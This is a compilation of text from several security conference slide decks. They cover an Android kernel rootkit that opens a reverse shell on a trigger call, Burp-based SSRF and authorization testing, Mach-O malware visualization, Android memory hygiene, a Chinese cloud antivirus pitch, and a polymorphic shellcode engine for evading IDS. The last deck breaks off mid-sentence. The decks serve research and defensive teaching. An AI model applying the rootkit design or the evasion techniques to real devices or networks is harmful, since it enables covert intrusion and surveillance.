DEF CON 18 “This is not the droid you’re looking for…” Nicholas J. Percoco & Christian Papathanasiou Copyright Trustwave 2010 Agenda •  About Us / Introduction •  Introduction to Android •  Motivations Behind this Work •  Building a Linux Kernel Rootkit •  Overcoming Hurdles •  Introducing Mindtrick – The Android rootkit •  Live Demo •  Current Prevention •  Conclusions Copyright Trustwave 2010 About Us Nicholas  J.  Percoco  /  Senior  Vice  President  at  Trustwave •  15  Years  in  InfoSec  /  BS  in  CompSci •  Built  and  Lead  the  SpiderLabs  team  at  Trustwave •  Interests: −  Targeted  Malware,  AFack  PrevenHon,  Mobile  Devices •  Business  /  Social  Impact  Standpoint Chris0an  Papathanasiou  /  Security  Consultant  at  Trustwave •  8  Years  in  InfoSec  /  MSc  in  InfoSec  /  MEng  in  ChemEng •  Interests: −  Rootkits/AnH-­‐Rootkit  detecHon,  Algorithmic  Trading,  and  Web ApplicaHon  Security Copyright Trustwave 2010 Introduction •  Android  is  a  so7ware  stack  for  mobile  devices •  60,000  phones  running  Android  ship  every  day •  Ranks  4th  most  popular  smart  phone  device  plaSorm •  Not  much  research  around  rootkits  on  mobile  devices •  Android  ==  Linux  ==  almost  20  yr  old  Open  Source  OS •  Very  established  body  of  knowledge  in  Linux  Rootkits •  We  created  a  kernel-­‐level  Android  rootkit •  Loadable  Kernel  Module •  AcHvated  via  a  Trigger  number Copyright Trustwave 2010 Introduction to Android – The Model Source:  Google Copyright Trustwave 2010 Introduction to Android – Linux Kernel •  Based  upon  the  Linux  2.6.x  kernel •  Hardware  AbstracHon  Layer •  Offers: •  Memory  Management •  Process  Management •  Security •  Networking •  Android  PlaSorm  sits  atop  of  the  Kernel •  This  is  where  our  rootkit  lives  (more  later…) Copyright Trustwave 2010 Introduction to Android – Libraries •  Libraries  ==  Most  of  Android’s  Core  Func0onality •  Libraries  of  most  Interest: •  SQLite  –  main  storage/retrieval  (calls/SMS  records) •  Webkit  –  browser  funcHonality •  SSL  –  crypto •  Ideas/Hints: •  What  if  you  can  read  SMS  messages? •  How  about  intercepHng  browser  sessions? •  Can  you  hook  the  PRNG  with  staHc  low  numbers? Copyright Trustwave 2010 Introduction to Android – Runtime •  Android’s  Run0me  Environment  ==  Dalvik  VM •  What  is  Dalvik? •  Virtual  Machine  on  Android  Devices •  Runs  applicaHons  converted  into  .dex  format •  The  “Dalvik  Executable”  is  for  systems  that  have  low: •  Memory •  Processor  Speed •  We  didn’t  spend  much  0me  here… Copyright Trustwave 2010 Introduction to Android – Application •  Applica0on  Framework •  Core  User  FuncHonality •  Used  by  the  ApplicaHons •  Applica0ons •  This  is  where  the  User  ApplicaHons  live •  Either  come  installed  with  the  Phone,  Downloaded  from Android  Market  or  self-­‐installed •  Again,  we  didn’t  spend  much  0me  here… Copyright Trustwave 2010 Introduction to Android – Other Notes •  All  Applica0ons  and  User  Ac0vity  U0lizes  Linux •  I/O  with  Hardware •  By  hijacking  Linux  Kernel,  you  “own”  all  other  layers •  Modify  phone  behavior  at  will •  Complete  end-­‐user  abstrac0on  is  a  Usability  Advantage •   Complete  end-­‐user  abstrac0on  is  a  Security  Disadvantage •  A  successful  aFack  just  needs  to  subvert  to  ApplicaHon  Layer, since  the  end-­‐user  doen’t  look  below  it •  Even  if  the  aFack  causes  a  performance  issues,  the  end-­‐user  will just  call  it  a  “bug”  and  reboot  the  phone. Copyright Trustwave 2010 Motivations Behind this Work •  As  of  Q4  2009,  485  million  devices  on  3G  networks •  By  2020,  there  will  be  10  billion  devices •  60%  of  all  users  carry  their  devices  with  them  at  ALL  0mes •  For  high-­‐profile  and  business  folks  that  is  near  100% •  A  typical  smartphone  today,  has  the  same  processing  power as  a  PC  from  8  years  ago,  plus: •  Always-­‐on  network  connecHvity •  LocaHons  aware  thanks  to  GPS Copyright Trustwave 2010 Motivations Behind this Work (cont’d) •  Users  accessing  highly  sensi0ve  informa0on  via  smartphones is  the  norm •  Users  trust  a  smartphone  over  a  public  computer  or  kiosk •  Never  quesHon  their  smartphones  integrity •  Communica0on  Services  Providers  (CSPs)  must  allow  for governments  to  access  subscribers  communica0ons •  Case:  In  the  UAE,  EHsalat  pushed  a  “performance  update” to  all  their  Blackberry  subscribers. •  Reality:  Malware  was  intenHonally  pushed  down  to  allow intercepHon  of  data  communicaHons. Copyright Trustwave 2010 Motivations Behind this Work (cont’d) •  What  we  are  NOT  doing  here: •  Developing  a  new  aFack  vector  to  get  our  payload  on  the phone •  Just  wait  a  few  weeks/months  and  there  will  be  one… •  *cough*  Adobe  Flash  /  Acrobat  Reader  *cough* •  Malicious  App •  We  chose  Android,  because  it  runs  Linux •  Everyone  can  access  the  source  code •  No  personal  issues  with  Google  or  Android •  Great  OS,  Great  Phones,  Great  Apps Copyright Trustwave 2010 Building a Linux Rootkit •  Loadable  Kernel  Modules  (LKMs)  allow  OS  kernel  to  be extended  dynamically. •  LKMs  has  the  same  capabili0es  as  code  in  the  kernel •  System  Calls  are  used  e.g.,  for  file,  process,  and  network opera0ons •  Systems  Calls  are  listed  in  sys_call_table •  An  array  of  pointers  /  Indexed  by  system  call  number Copyright Trustwave 2010 Building a Linux Rootkit (cont’d) •  Tradi0onal  “rootkits”  are  so7ware  packages •  Onen  replace  system  binaries  like  ls,  ps,  netstat •  Used  to  hide  aFacker’s  files,  processes  and  connecHons •  Tradi0onal  “rootkits”  can  be  easily  be  detected  by: •  Comparing  “known  good”  files  with  suspect  ones •  Comparing  checksums  (RPM  database  or  FIM  uHlity) •  A  “kernel  rootkit”  can  subvert  the  kernel  itself  using  “hooks” •  Hide  specific  processes  from  /proc  so  ps  can’t  see  it •  Hide  itself  from  LKM  lisHngs •  Subvert  calls  made  by  lsmod  command Copyright Trustwave 2010 Building a Linux Rootkit (cont’d) What  is  a  “hook”? •  A  hook  is  a  redirecHon  of  a  system  call •  Modifies  the  flow  of  execuHon •  A  hook  registers  its  address  as  the  locaHon  for  a specific  funcHon •  When  the  funcHon  is  called  the  hook  is  executed instead By  Crea0ng  a  LKM  in  Android,  we  not  only  subvert  the layers  above  the  kernel,  but  the  End-­‐User  Himself! Copyright Trustwave 2010 Building a Linux Rootkit – Hurdles •  There  were  a  few  hurdles  to  overcome: •  Retrieve  the  sys_call_table  address •  Compile  against  the  device  kernel  source  code •  Enable  System  Call  Debugging Copyright Trustwave 2010 Building a Linux Rootkit – Hurdles Retrieve  the  sys_call_table  address •  Problem: •  Linux  Kernel  2.5  or  greater  no  longer  export  sys_call_table structure •  extern void *system_call_table[]; DOES  NOT WORK! •  Solu0on: •  It  can  be  found  in  the  System.map •  Find  it  in  the  device’s  kernel  source  code root@argon:~/android/legend-kernel# grep sys_call_table System.map C0029fa4 T sys_call_table root@argon:~/android/legend-kernel# These  addresses  are  STATIC  all  devices  with  the  same  hardware/firmware/kernel! Copyright Trustwave 2010 Building a Linux Rootkit – Hurdles Compile  against  the  device  kernel  source  code •  Problem: •  The  kernel  refused  to  accept  our  LKM  because  version  magics didn’t  match •  Solu0on: •  We  found  version  magics  are  stored  in  the  form  of  a  staHc  string •  We  need  modify  kernel  source  code  in  include/linux/utsrelease.h root@argon:~/android/legend-kernel# cat utsrelease.h #define UTS_RELEASE “2.6.29” root@argon:~/android/legend-kernel# A7er  re-­‐compiling  our  LKM  against  the  HTC  Legend  source,  the  module  loaded! root@argon:~/android/legend-kernel# cat utsrelease.h #define UTS_RELEASE “2.6.29-9a3026a7” root@argon:~/android/legend-kernel# OLD NEW Copyright Trustwave 2010 Building a Linux Rootkit – Hurdles Enable  System  Call  Debugging •  Problem: •  We  need  to  map  out  the  system  calls  we  were  interested  in  in order  to  discover  high  layer  phone  funcHons  which  we  would  later intercept •  Solu0on: •  We  wrote  a  debug  LKM  that  incepted  the  following  calls: •  sys_write •  sys_read •  sys_open •  sys_close Copyright Trustwave 2010 Building a Linux Rootkit – Hurdles Enable  System  Call  Debugging •  What  did  we  learn? •  We  can  discover  phone  rouHnes  by  parsing  dmesg for specific  acHons  (or  data  we  input). •  Example: •  Placing/Receiving  a  call  to/from  the  “rootkiFed”  phone and  parsing  for  the  phone  number  reveals  commands used  by  the  phone. •  Our  debug  LKM  captures  all  browsing  acHvity  and  social networking  acHvity  being  conducted  on  the  phone  as well.  This  could  be  used  as  an  addiHonal  C&C  channel. Copyright Trustwave 2010 Introducing Mindtrick – The Android Rootkit What  does  it  do  (today)? •  Sends  an  aoacker  a  reverse  shell  over  3G/WiFi •  Triggered  by  a  pre-­‐defined  phone  number •  Aoacker  than  have  access  to  the  phone’s  OS  as  ROOT •  See  Demo  for  other  FUN! •  The  rootkit  is  hidden  from  the  kernel Note:  The  source  for  Mindtrick  is  on  the  DEFCON  18  CD. # lsmod # insmod mindtrick.ko # lsmod # Copyright Trustwave 2010 Live Demo What  are  we  going  to  do? •  Install  the  rootkit •  AcHvate  the  rootkit  via  a  phone  call •  View  the  reverse  shell  connect •  View  SMS  messages •  View  Contacts •  Retrieve  GPS  coordinates •  Make  phantom  phone  call •  Shutdown  the  phone Copyright Trustwave 2010 Current Prevention What  did  we  test? •  Neither  Lookout  Mobile  Security  nor  Norton  Smart Phone  Security  detect  LKM  Rootkits What  can  be  done? •  Manufactures  should  ensure  all  device  drivers  / LKM  /  are  centrally  signed. Copyright Trustwave 2010 Conclusions •  It  is  possible  to  write  a  rootkit  for  the  Android  plaporm. •  We  didn’t  include  automated  func0onality  (by  design). •  This  can  easily  be  done. •  Liole  aoen0on  is  being  paid  to  smartphone  security,  while everyone  trusts  their  device  to  perform  cri0cal  tasks. •  In  the  next  10  years,  we  will  see  an  explosive  growth  in  the number  of  aoacks  against  smartphones  and  other  mobile compu0ng  device  plaporms.  Will  we  be  prepared? Contact Us: Nicholas J. Percoco / npercoco@trustwave.com / @c7five Christian Papathanasiou / cpapathanasiou@trustwave.com / @h0h0_
pdf
1 WEB⾮实⽤之Burp的AutoRepeater使⽤ LxLN 前⾔ LxLO 安装⽅法 LxLP 使⽤例⼦ LxLP.N ssrf检测 LxLP.O 未授权检测 LxLP.P 越权检测 LxLQ 其它 0x01 前⾔ 0x02 安装⽅法 Plain Text 复制代码 以前想写⼀个SSRF的检测⼯具,后⾯和朋友⼀聊,感觉⼀直使⽤的AutoRepeater就可以做到 尝试使⽤了这么久,使⽤这个插件挖到的漏洞也不少了,感觉是真实可⽤的 于是作为⼀个专业的狗推,我就要开始推荐AutoRepeater了 它作为⼀个burp⼯具,可以极⼤的简化⼿⼯测试的效率 我常⽤于该⼯具拿来检测SSRF,未授权,越权(平⾏,垂直) 下⾯就简单介绍⼀下,如何检测,来给你们进⾏狗推 1 2 3 4 5 6 Plain Text 复制代码 github地址: https://github.com/nccgroup/AutoRepeater 下载完成以后,burp的Extender界⾯中,导⼊AutoRepeater.jar 即可 1 2 2 0x03 使⽤例⼦ 0x03.1 ssrf检测 Plain Text 复制代码 这是我使⽤最多的⼀种了,很⾹,也靠这样检到了不少ssrf漏洞 ⾸先做两个准备 1. ⼀个dnslog,个⼈推荐http://ceye.io 2. 准备两个正则: (?i)^(https|http|file)://.* 与 (?i)^(https|http|file)%3A%2F%2F.* 第⼀个正则,保证未编码的URL可以被正常匹配到 第⼆个正则,保证编码的URL可以被正常匹配到 1 2 3 4 5 6 7 8 9 10 11 3 Plain Text 复制代码 然后配置如下规则: 正则的作⽤就是匹配URL然后替换成DNSLOG的地址,接着⾃动发包 然后在有空的时候去看看DNSLOG有没有数据或是把所有带URL的⾃⼰测试⼀遍就知道有没有SSRF了 减少了漏包的可能性 1 2 3 4 4 Plain Text 复制代码 然后放着等待有缘的URL即可 例如: 本地起环境 http://192.168.24.145/ssrf.php? aa=123123123&t=hTtp://baidu.com&c=httP://4399.com 然后burp代理以后去访问 1 2 3 4 5 5 如下操作: 0x03.2 未授权检测 Plain Text 复制代码 例如: 登录完毕以后会在COOKIE中返回⼀个BIDUPSID,这个BIDUPSID表示登录凭证 也就是Cookie: BIDUPSID=111111111 那么假设我们把Cookie: BIDUPSID=111111111修改为Cookie: test=test; 然后对⽐请求包,如果两个请求包的响应包是类似的,那不就说明未授权么? 1 2 3 4 6 0x03.3 越权检测 Plain Text 复制代码 例如: 登录完毕以后会在header头返回⼀个 user-token: userid=1表示登录凭证 那么想测试越权(平⾏,垂直)也很简单 如果想测试平⾏越权那就准备两个权限⼀摸⼀样的账号 如果想测试垂直越权那就准备⼀个⾼权限,⼀个低权限的账号 管理员账号1 user-token: userid=1 普通⽤户账号2 user-token: userid=998 浏览器登录,管理员账号1 然后burp抓包 接着使⽤AutoRepeater正则替换user-token为userid=998 然后查看数据包,如果两个请求包的响应包是类似的,那不就说明有问题么? 1 2 3 4 5 6 7 8 9 10 11 12 7 如何设置⿊⽩域名名单? 如下设置即可,注意哦: 设置这个只是表示界⾯显示对应的数据⽽已,实际上还是发了包的 0x04 其它 8
pdf
Mach-o Malware Analysis: Combatting Mac OSX/iOS Malware with Data Visualization INCOMPLETE DRAFT: PLEASE SEE LAST PAGE FOR FINAL PPTX Remy Baumgarten Security Engineer at ANRC Services https://www.linkedin.com/in/remybaumgarten Website: anrc-services.com Twitter: @anrctraining Friday, July 12, 13 About me mobile malware talks/ tutorials present: research and development (ANRC Services) Past: Malware team (Booz Allen Hamilton) past: secure dna Friday, July 12, 13 Why a new tool? Examining and evaluating the existing tools available to help decipher the Mach-O format. Finding working examples of security products equipped to process Mach-O malware. Attempting to find a tool that could analyze these files regardless of the underlying architecture. Researching a better way to view the file internals of Mach-O files. Friday, July 12, 13 tools that analyze mach-o We wanted to fuse the best features of all of these programs and add a focus on network security. Ultimately the goal is to help the network defender understand the Mach-O file format better and provide a method to effectively and efficiently analyze a particular binary for malicious behavior. Friday, July 12, 13 mach-o Viz presents a mach-o binary visually in turn this makes it easier for anyone to see how the file is constructed Visual representation from the header through the load commands and into all its corresponding segments Interactive so you can zoom into segments for more detail Introducing Friday, July 12, 13 In addition, to visualizing the file format itself: we wanted a powerful back-end graph visualization and analytics system for graphing the binary’s disassembly Currently supports i386, x86_64 and ARM6/7. We wanted to keep this program not only as visual as possible but also accessible: Only a web browser is required to perform interactive analysis Design Features Friday, July 12, 13 Design Features Use any client capable of running HTML5/JavaScript, thereby significantly increasing the types of devices that could make use of Mach-O Viz. Keep the back-end as “Mac” as possible. We wanted to rely on Apple’s updates of the Mach-O spec and its tools, such as otool, in their native environment. This would keep Mach-O Viz updated and relevant by default. Gain access to the LLVM disassembler for the most accurate ASM we can feed into our analytics engine. Make use of as many Open Source utilities that added benefit as possible. Friday, July 12, 13 File Structure Visualization Major Segments at the top level of the file Drilling down possible by clicking Segment Friday, July 12, 13 File Structure Visualization Here you can see the load commands Specific values for macho file format are viewed this way Friday, July 12, 13 Graph View Offers an IDA like interface This is done via parsing out otool disassembly with perl into graphviz charts Then placing into html as SVG with JS and CSS Friday, July 12, 13 Security Analysis Identifying code segments which are using API’s and Functions flagged as Security Risks. Identifying and automatically generating network and static file signatures for the binary. Mach-O Viz does this in 2 ways: a)  By detecting network domains, ip addresses, urls & web protocols embedded in the binary. b)  Calculating a unique binary signature for the file itself using Mach-O MAGIC value in the file’s header plus a unique 16 bytes from the binary’s String Table. Friday, July 12, 13 Security Analysis Results take you directly to code for instant analysis File Signature is then created Friday, July 12, 13 Final slides available http://machoviz.anrc-services.com/slides.zip Friday, July 12, 13
pdf
Androsia Securing 'data in process' for your Android Apps C:\>whoami • Samit Anwer • Product Security Team @Citrix R&D India Pvt Ltd • Web/Mobile App Security Enthusiast • Speaker: • AppSec USA (Orlando, USA) 2017, • c0c0n (Cochin, India) 2017, • CodeBlue (Tokyo, Japan) 2017, • IEEE Services (Anchorage, Alaska) 2014, • ACM MobileSOFT, ICSE (Hyderabad, India) 2014, • IEEE CloudCom (Bristol, UK) 2013 Email: samit.anwer@gmail.com, Twitter: @samitanwer1, LinkedIn: https://www.linkedin.com/in/samit-anwer-ba47a85b/ Which one is the most difficult to protect? Data at Rest 1 Data in Process 2 Data in Motion 3 Motivation Want to ensure object’s content gets cleared? Myth: Forgotten References Memory Leak Unreachable objects Garbage Reachable objects Garbage Collection Roots Ref: https://www.dynatrace.com/resources/ebooks/javabook/how-garbage-collection-works/ Reality: Resetting StringBuilder objects • Reachable, unused StringBuilder objects may contain sensitive information • A heap dump will reveal the sensitive info • Don’t just rely on GC to clear sensitive content • Destroy by overwriting all critical data Ref: https://www.pentestpartners.com/security-blog/how-to-extract-sensitive-plaintext-data-from-android-memory java.security.* falls short Ref: https://docs.oracle.com/javase/7/docs/api/java/security/KeyStore.PasswordProtection.html How does Androsia help? • Androsia determines last use of objects at a whole program level • A summary based inter-procedural data-flow analysis • Androsia instruments bytecode to clear memory content of objects 8 1 2 3 4 5 6 7 9 10 def x use x def x use x second initialization Eclipse Memory Analyzer Heap Dump - Before Instrumentation Heap Dump - After Instrumentation 6. Repack & Sign APK or Provide Analysis Results 1. Shares source OR APK 2. Unpack Developer / User of the app Server 3. Convert Androsia 5. Convert 4. Transform/Instrument Jimple Code Dex 7. Transformed APK/Results Overview Framework behind Androsia Static Code analysis using Soot • Soot - framework for Java (bytecode), enables development of static analysis tools • Provides three-address code called Jimple • Supports implementing dataflow analyses: • Intra-procedural • Inter-procedural • Soot was missing a Dalvik to Jimple transformation module • and then came Dexpler Soot Workflow Dalvik Further reading: Instrumenting Android Apps with Soot, http://www.bodden.de/2013/01/08/soot- android-instrumentation/ Dexpler: Converting Android Dalvik Bytecode to Jimple for Static Analysis with Soot, https://arxiv.org/pdf/1205.3576.pdf • Android apps don’t have a main method • FlowDroid generates dummyMainMethod() • Models Android’s lifecycle methods & callbacks FlowDroid Img. ref: https://developer.android.com/reference/android/app/Activity.html#ActivityLifecycle Demo SB Objects – In what scopes can they exist? public void foo(){ SB x, y, z; [x = new SB(“s3cr3t”);]1 [y = new SB(“p@55w0rd”);]2 [if(y.length() < x.length()){ [z = y;]4 } else{ [z = y.append(“007”);]5 }]3 class MyClass{ static SB x; public static void foo(){ SB y, z; [x = new SB(“s3cr3t”);]1 [y = new SB(“p@55w0rd”);]2 [if(y.length() < x.length()) { [z = y;]4 } else{ bar();5 }]3 }} public static void bar(){ System.out.println(StaticSB.x); } Local variable Static Field Abbrev. SB: StringBuilder Instance Field class MyInstanceFieldSB { private SB x; public SB getSBx(){ return x; } public SB setSBx(SB str){ x=str; } } public static void foo(){ MyInstanceFieldSB obj = new MyInstanceFieldSB(); SB str= new SB(); obj.setSBx(str) S.O.P(obj.getSBx()); } public class MainActivity { protected void onCreate(Bundle b) { User.static_secret= new SB("p@55w0rd"); CheckStatic cs= new CheckStatic(); cs.useStaticField(); } } Demo - Static SB public class User { public static SB static_secret; } public class CheckStatic { public void useStaticField() { S.O.P(User.static_secret); bar(); } public void bar() { S.O.P(User.static_secret); } } But life is not always so simple - There can be loops DEMO Approach What’s there in a line of code? • What data are we interested in? Next few slides: • What is live variable analysis? • How to compute Summary for every method? e.g. Summary(foo) = ( x, if(y.length() < x.length())) Step 1: Compute def-use set for every statement Step 2: Compute LVentry & LVexit set for every statement LVentry & LVexit Last Usage Point (LUP) for Local / Static Field Ref. (SFR) within a method Summary • How to use summaries to compute LUP for a SFR at a whole program level? Data Liveness • LV analysis determines • For each statement, which variables must have a subsequent USE prior to next definition of that variable Live Variable Analysis x y z public void foo(){ SB x, y, z; [x = new SB(“s3cr3t”);]1 [y = new SB(“p@55w0rd”);]2 [x = new SB(“hello”);]3 [if(y.length() < x.length()) { }]4 [z = y;]5 [z = y.append(“007”);]6 [x = z;]7 } else{ Abbrev. SB: StringBuilder Last Usage Point of a var ≅ Last stmt where that var was live } 1. Compute def-use Set • def set: variables defined in the statement • use Set: variables evaluated/used in the statement public void foo(){ SB x, y, z; [x = new SB(“s3cr3t”);]1 [y = new SB(“p@55w0rd”);]2 [x = new SB(“hello”);]3 [if(y.length() < x.length()) { [z = y;]5 } else{ [z = y.append(“007”);]6 }]4 [x = z;]7 } Abbrev. SB: StringBuilder 1. Compute def-use Set (cntd.) SB x, y, z; [x = new SB(“s3cr3t”);]1 [y = new SB(“p@55w0rd”);]2 [x = new SB(“hello”);]3 [if(y.length() < x.length()){ [z = y;]5 } else{ [z = y.append(“007”);]6 }]4 [x = z;]7 I def(l) use(l) 1 { x } ∅ 2 { y } ∅ 3 { x } ∅ 4 ∅ { x, y } 5 { z } { y } 6 { z } { y } 7 { x } { z } LVentry(6) LVexit(6) LVexit(4) LVentry(4) LVentry(3) LVexit(3) 1 3 4 5 6 LVentry(2) LVentry(1) LVentry(5) 2 LVexit(5) LVexit(2) LVexit(1) LV Data Flow Direction 2. Compute LVentry (l) & LVexit(l) • Hence the flow equations can be expressed using the two functions: 3: Compute LVentry (l) & LVexit(l) public void foo(){ SB x;SB y;SB z; [x = new SB(“s3cr3t”);]1 [y = new SB(“p@55w0rd”);]2 [x = new SB(“hello”);]3 [if(y.length() < x.length()) { [z = y;]5 } else{ [z = y.append(“007”);]6 }]4 [x = z;]7 LVentry(7) { z } LVexit(7) ∅ LVentry(6) { y } LVexit(6) { z } LVentry(5) { y } LVexit(5) { z } LVentry(4) { x, y } LVexit(4) { y } LVentry(3) { y } LVexit(3) { x, y } LVentry(2) { ∅ } LVexit(2) { y } I def(l) use(l) 1 { x } ∅ 2 { y } ∅ 3 { x } ∅ 4 ∅ { x, y } 5 { z } { y } 6 { z } { y } 7 { x } { z } Summary(foo) = { Local, LUP( Local / Aliases ) } OR { StaticFieldRef, LUP( SFR / Aliases ) } I LVentry(l) LVexit(l) 1 ∅ ∅ 2 ∅ { y } 3 { x, y } 4 { x, y } { y } 5 { y } { z } 6 { y } { z } 7 { z } ∅ { y } LVentry(3) { y } LVexit(3) { x, y } LVentry (l) =( LVexit (l) – def(l) ) ∪ use(l) Summary is computed in reverse topological order public void foo(){ A1 A2 A3 bar(); A4 A5 } public void bar(){ B1 B2 B3 baz(); B4 B5 sfr used } public void baz(){ C1 C2 C3 C4 sfr used C5 C6 } Summ(baz) LVexit (B3) = LVentry(B4) = {sfr, B5} Summ(bar) LVexit (A3) = LVentry(A4) = {∅} Summ(baz) = {sfr, C4} { baz, (sfr,C4) } Program level last use for “sfr” happens at: Summ(bar) = {sfr, B5} { bar, (sfr,B5) } Summ(bar) = {sfr, ∅} LVentry(C4) = {sfr, C4} LVentry(B5) = {sfr, B5} • What is live variable analysis? • How to compute Summary for every method? e.g. Summary(foo) = ( x , if(y.length() < x.length())) Step 1: Compute def-use set for every statement Step 2: Compute LVentry & LVexit set for every statement LVentry & LVexit Last Usage Point (LUP) for Local / Static Field Ref. (SFR) within a method Summary • How to use summaries to compute LUP for a SFR at a whole program level? Summarizing: Instance Field Approach • Mark all classes which have StringBuilder Instance Field/s • Find their object instances • Track Last Usage of object instances & their aliases instead of SB Fields • Add reset method/s to respective class Demo - Instance Field SB • Mark all classes which have StringBuilder Instance Field/s • Find their object instances • Track Last Usage of object instances & their aliases instead of SB Fields • Add reset method/s to respective class DEMO • Test Suite development • CI/CD adoption I will be releasing the tool and documentation at the end of the conference! Work In Progress Get in touch & contribute: Twitter: @samitanwer1, Email: samit.anwer@gmail.com, LinkedIn: https://www.linkedin.com/in/samit-anwer-ba47a85b/ References 1. Implementing an intra procedural data flow analysis in Soot, https://github.com/Sable/soot/wiki/Implementing-an-intra-procedural-data-flow-analysis-in-Soot 2. Instrumenting Android Apps with Soot, http://www.bodden.de/2013/01/08/soot-android- instrumentation 3. Dexpler: Converting Android Dalvik Bytecode to Jimple for Static Analysis with Soot, https://arxiv.org/pdf/1205.3576.pdf 4. Precise Interprocedural Dataflow Analysis via Graph Reachability, https://courses.cs.washington.edu/courses/cse590md/01sp/w1l2.pdf 5. Slides by Matthew B. Dwyer and Robby, University of Nebraska-Lincoln, Kansas State University Three address code public int foo(java.lang.String) { // [local defs] r0 := @this; // IdentityStmt r1 := @parameter0; if r1 != null goto label0; // IfStmt $i0 = r1.length(); // AssignStmt r1.toUpperCase(); // InvokeStmt return $i0; // ReturnStmt label0: return 2; }
pdf
360雲安全 全球最大的雲安全系統 360副總裁 陸劍鋒 2010-07 木馬——互聯網時代的主要安全威脅 • 單機系統時代,病毒是電腦安全的主要威脅 –傳播介質:磁片等移動介質 –傳播方式:交叉感染 –傳播目的:破壞電腦系統 • 互聯網路時代,木馬是電腦安全的主要威脅 –傳播介質:互聯網路 –傳播方式:網格狀交叉模式 –傳播目的:非法獲取財產 木馬侵犯使用者財產的方式多種多樣 • 木馬形式多樣,角色各異 –盜號木馬:盜取虛擬財產 –僵屍網路:對網站等攻擊、勒索 –肉雞木馬:在用戶的電腦中彈出廣告 –間諜木馬:竊取隱私和商業機密 肉雞 高額利潤催生木馬黑色產業鏈 • 產業中的木馬利益鏈 –造馬 –改馬 –賣馬 –買馬 –發馬 –掛馬 CCTV報導中國木馬產業鏈年收入已經達到了100億元 360安全中心資料: 新增木馬數每年增長十倍! 360的“摩爾定律” 卡 慢 效果差 傳統殺毒軟體面臨的問題 龐大的資源佔用造成卡機 掃描慢 木馬特徵庫更新慢 輕鬆被免殺 跟不上木馬病毒的變化速度 擁有3億互聯網用戶 近萬台雲計算伺服器處理 海量樣本識別和查詢任務 每日處理數百億次查詢 每日發現百萬新木馬 平均處理時間僅30秒 360基於“雲計算”提供安全服務 輕 快 強 輕巧、不卡機  比傳統殺軟快10倍  無需更新特徵庫即能查殺  新木馬從發現、處理到用戶查殺僅需30秒  龐大的用戶社區,捕獲新木馬快而全  最大的雲端黑白名單+本地智慧規則 360“雲查殺”輕鬆解決傳統殺軟的問題 1. 雲端文件知識庫的完備性 2. 雲查詢的快速即時回應 3. 對未知文件的即時處理 “雲安全”需要解決的三大問題 白名單的完備性 –雲安全中最大的難點 –360白名單已經覆蓋98%的 合法程式 黑名單的積累 –每日發現150萬以上的新增 木馬病毒 新程式的收集能力 –搜尋引擎的蜘蛛技術 –3億用戶保證即時發現、不遺漏 –360軟體認證服務 –手工收集和人工甄別 日收集新程式:1000萬 雲端知識庫的三大要素 • 基於奇虎強大的搜尋引 擎技術 • 千億規模下高性能查詢 • 高可靠性、高穩定性 雲查詢快速及時的回應能力 未知文件的處理 • 多樣性的判別機制確保不漏報、不誤報 –檔特徵、行為特徵、智慧啟發、統計分類…… • 奇虎雲計算平臺實現海量處理能力 –日均數千萬樣本處理能力 –30秒平均回應時間 • 沒有用戶端的安全就像天龍八部中的王語嫣:空有武學、 但是無法防身! • 360的用戶端安全 –自我保護 –啟動項保護 –系統檔案保護 –驅動防火牆 –進程保護 –網路保護 –鍵盤保護 –密碼保護 安全=“雲+端”安全 “雲安全”還需要“端安全” • 基於雲安全的主動防禦技術 • 最完整的防禦、最少的用戶干預! 雲安全的應用:主動防禦 • 雲安全鑒別流覽器中的掛馬、釣魚、欺詐網頁 • 每日鑒別網址數: 數十億 雲安全的應用:流覽器 • 360殺毒採用雲安全、特徵掃描雙引擎 雲安全的應用:殺毒引擎 全球最大的雲安全系統 • 360安全衛士用戶數:超過3億 • 日均未知樣本分析數:千萬 • 日均檢測網頁:數千萬 • 日均雲查詢數:數百億次 • 累計文件知識庫:近十億 • 白名單覆蓋率:98% • 未知樣本平均處理時間:30秒 • IDC機房數:120個 • 頻寬:150+G • 伺服器數:近萬台 隱私保護 • 隱私承諾 • 檔上傳明確聲明 • 僅上傳可執行程式 • 原始程式碼託管 • 加入IAPP隱私保護協會 真免費才能真安全! 擊垮木馬產業鏈需要真正、全面、徹底地免費! • 零成本才能武裝和保護全體線民 • 假免費是木馬的溫床 • 殺毒免費,防火牆、安全套裝更要免費! Source:iResearch Database 360安全衛士 360殺毒 中國安全軟體態勢 免費的360系列產品已經覆蓋3億用戶,佔據中國80%的線民 Thanks!
pdf
Bad (and Sometimes Good) Tech Policy: It's Not Just a DC Thing Chris Conley ACLU of Northern California cconley@aclunc.org | @ManConley Chris Conley ACLU of Northern California cconley@aclunc.org | @ManConley
pdf
Hydra • Advanced x86 polymorphic engine • Incorporates existing techniques and introduces new ones in one package • All but one feature OS-independent Random register operations • Different synonymous instructions per invocation. • Hydra provides a large library of such instructions and a platform to add more. • For some operations, the key used is randomly generated to further obfuscate the payload. Two ways to clear a register Method 1: mov reg, <key> sub reg, <key> Method 2: push dword <key> pop reg sub reg, <key> Recursive NOP generator • Traditional shellcode engines use static array of possible NOPs to generate NOP sleds – not very random! • Hydra uses a built-in “NOP generator” that dynamically builds a library of possible NOP instructions. • Find all 1-byte NOP by brute-force. Brute-force two-byte NOPs where 2nd byte is another NOP. Repeat. Larger NOP instructions recursively contain smaller NOPs – irrelevant where control flow lands. • More than 1.9M NOP instructions found! Recursive NOP generator • The NOP instructions can also be used in between the decoder instructions; adds variability to size and content of the decoder • Two types of NOPs– normal NOPs and “state-safe” NOPs • State-safe NOP library does not contain instructions which modify the environment (stack, registers, flow control) • Only these have to be used in between instructions, else state is destroyed! Multi-Layer Ciphering • Hydra uses randomly select ciphers on the payload. • Random cipher operations: ror, rol, xor, add, sub, etc… • Cipher order is random each time. No signature! • Random 32-bit keys chosen for each operation. • Six rounds of ciphering by default – can specify arbitrary any rounds. ASCII Encoder • Need to send ASCII payload to text based protocols (HTTP) to evade anomaly sensors. • Hydra picks ASCII NOPs from the NOP-generator to construct the NOP section. Choice of more than 4000 instructions. • The ASCII NOPs are also inserted in between decoder instructions and shellcode to further obfuscate both content and size. • Modular nature of the engine allows the ASCII encoding to combine with any/all of the other options. Bi-partite Decoding • Signatures for payloads = Pwned! • But most IDS systems can look for a “decoder”. Cipher loop: xor, ror, shr, shl, etc. Static decoders = fail. • Hydra uses dynamically generated non-contiguous decoders! Different instructions each time, different keys, different positions. • Currently bi-partite decoding: decoders wrap around payload. Ultimate goal: tighter integration within payload. Spectrum Shaping • Signatures fail so bust out the math. • The frequency of bytes which correspond to x86 instructions should look different from those of normal 